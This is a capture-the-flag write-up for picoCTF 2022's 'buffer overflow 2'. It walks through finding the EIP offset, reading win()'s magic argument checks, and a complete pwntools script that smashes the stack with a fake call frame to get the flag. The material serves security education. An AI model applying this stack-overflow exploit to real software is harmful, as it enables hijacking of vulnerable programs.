buffer overflow 2 picoCTF 2022 Solution

Published: July 20, 2023

Description

Building on buffer overflow 1, this 32-bit challenge requires not just overwriting EIP with the address of win(), but also passing two specific magic arguments to it on the stack.

In x86 calling convention, function arguments live just above the return address on the stack. A ROP-style fake call frame lets you supply both.

Download the binary and make it executable.

Identify the buffer offset, the address of win(), and the two required magic values with objdump/Ghidra.

bash
wget https://artifacts.picoctf.net/c/190/vuln && chmod +x vuln
bash
objdump -d vuln | grep -A 20 '<win>'
bash
checksec --file=vuln
The Buffer Overflow and Binary Exploitation guide covers ret2win with argument passing (used here) and explains how to set rdi/rsi with ROP gadgets.
  1. Step 1Find the offset and win() address
    Use cyclic pattern to determine the offset (typically 112 bytes), then find win()'s address with objdump.
    bash
    cyclic 200 | ./vuln
    bash
    cyclic -l <EIP_VALUE>
    bash
    objdump -d vuln | grep '<win>'
    Learn more

    The process is identical to buffer overflow 1: generate a cyclic pattern, crash the binary, read EIP, and compute the offset with cyclic -l. For this challenge the buffer is larger (typically 100 bytes) so the offset to EIP is around 112 bytes.

    You can read the offset straight from the disassembly. The function prologue subtracts the local frame size from esp:

    push ebp
    mov  ebp, esp
    sub  esp, 0x6c     ; allocate 0x6c = 108 bytes for locals
    ...
    
    Offset to saved EIP:
      108 (locals)
    +   4 (saved EBP)
    = 112 bytes

    Buffer + any padding lives within the 108-byte locals region; the 4 added bytes account for the saved EBP that ret restores between you and the saved EIP.

  2. Step 2Identify the required magic arguments
    Decompile win() in Ghidra or read the disassembly to find the two constants it checks: 0xCAFEF00D and 0xF00DF00D.
    bash
    objdump -d vuln | grep -A 40 '<win>'
    Learn more

    win() boils down to:

    if (arg1 == 0xCAFEF00D && arg2 == 0xF00DF00D) { print_flag(); }

    In the disassembly you will see cmp [ebp+0x8], 0xcafef00d and cmp [ebp+0xc], 0xf00df00d (offsets +8 and +12 = standard x86 cdecl arg slots). The constants 0xCAFEF00D and 0xF00DF00D are source-level integer literals - they appear directly in main/win as the comparison immediates, visible in both objdump and Ghidra.

    x86 cdecl calling convention: the caller pushes arguments right-to-left onto the stack before the call instruction. The call pushes the return address. The callee's prologue pushes EBP and sets ebp = esp. So after the prologue: [ebp] = saved EBP, [ebp+4] = return address, [ebp+8] = arg1, [ebp+12] = arg2.

  3. Step 3Build the fake call frame with pwntools
    The payload: 112-byte padding + win() address + fake return address + arg1 (0xCAFEF00D) + arg2 (0xF00DF00D).
    python
    python3 -c "
    from pwn import *
    elf = ELF('./vuln')
    win_addr = elf.symbols['win']
    payload  = b'A' * 112          # offset to EIP
    payload += p32(win_addr)       # overwrite EIP -> win()
    payload += p32(0xdeadbeef)     # fake return address for win()
    payload += p32(0xcafef00d)     # arg1
    payload += p32(0xf00df00d)     # arg2
    p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    p.sendlineafter(b'Please enter your string:', payload)
    print(p.recvall().decode())
    "
    Learn more

    Stack at the instant win() begins executing (immediately after the vuln() ret pops p32(win) into eip and increments esp by 4):

    high addr  +-----------------+
               | 0xf00df00d      |  <- [esp+8]  = arg2  (read by cmp [ebp+0xc])
               +-----------------+
               | 0xcafef00d      |  <- [esp+4]  = arg1  (read by cmp [ebp+0x8])
               +-----------------+
               | 0xdeadbeef      |  <- [esp]    = return addr (dummy)
               +-----------------+
               ^ esp now points here as win() executes its prologue:
                 push ebp ; mov ebp, esp ; sub esp, ...
               After prologue: ebp = esp_old, so:
                 [ebp+0x4] = 0xdeadbeef         (return)
                 [ebp+0x8] = 0xcafef00d         (arg1)
                 [ebp+0xc] = 0xf00df00d         (arg2)
               Both compares pass -> print_flag() runs.

    Call sequence note. When the vuln() ret jumps to win, win's prologue runs first: push ebp; mov ebp, esp; sub esp, .... Only after the prologue do [ebp+0x8] and [ebp+0xc] point at your fabricated arg1/arg2. The dummy return address sits at [ebp+0x4]; win() never returns to it (it calls print_flag then exits), but if it did you'd need a real address there.

    32-bit only. Use p32(), never p64(). Little-endian means p32(0xcafef00d) writes the bytes \x0d\xf0\xfe\xca - same byte order a real caller's push would produce. Calling p64(0xcafef00d) on 32-bit would tack on four \x00 bytes after, scrambling the layout.

    This construction - overwriting EIP with a function address and manually fabricating its argument stack - is the foundation of Return-Oriented Programming. Instead of a dummy return you chain another gadget; see Buffer Overflow and Binary Exploitation for CTF. On 64-bit, args go in registers (rdi, rsi, ...), so you need pop rdi; ret-style gadgets before the call.

Flag

picoCTF{argum3nt5_4r3_gr34t_4e...}

Pad 112 bytes to EIP, then build a fake x86 call frame: win() address + dummy return + 0xCAFEF00D + 0xF00DF00D.

Want more picoCTF 2022 writeups?

Tools used in this challenge

Related reading

What to try next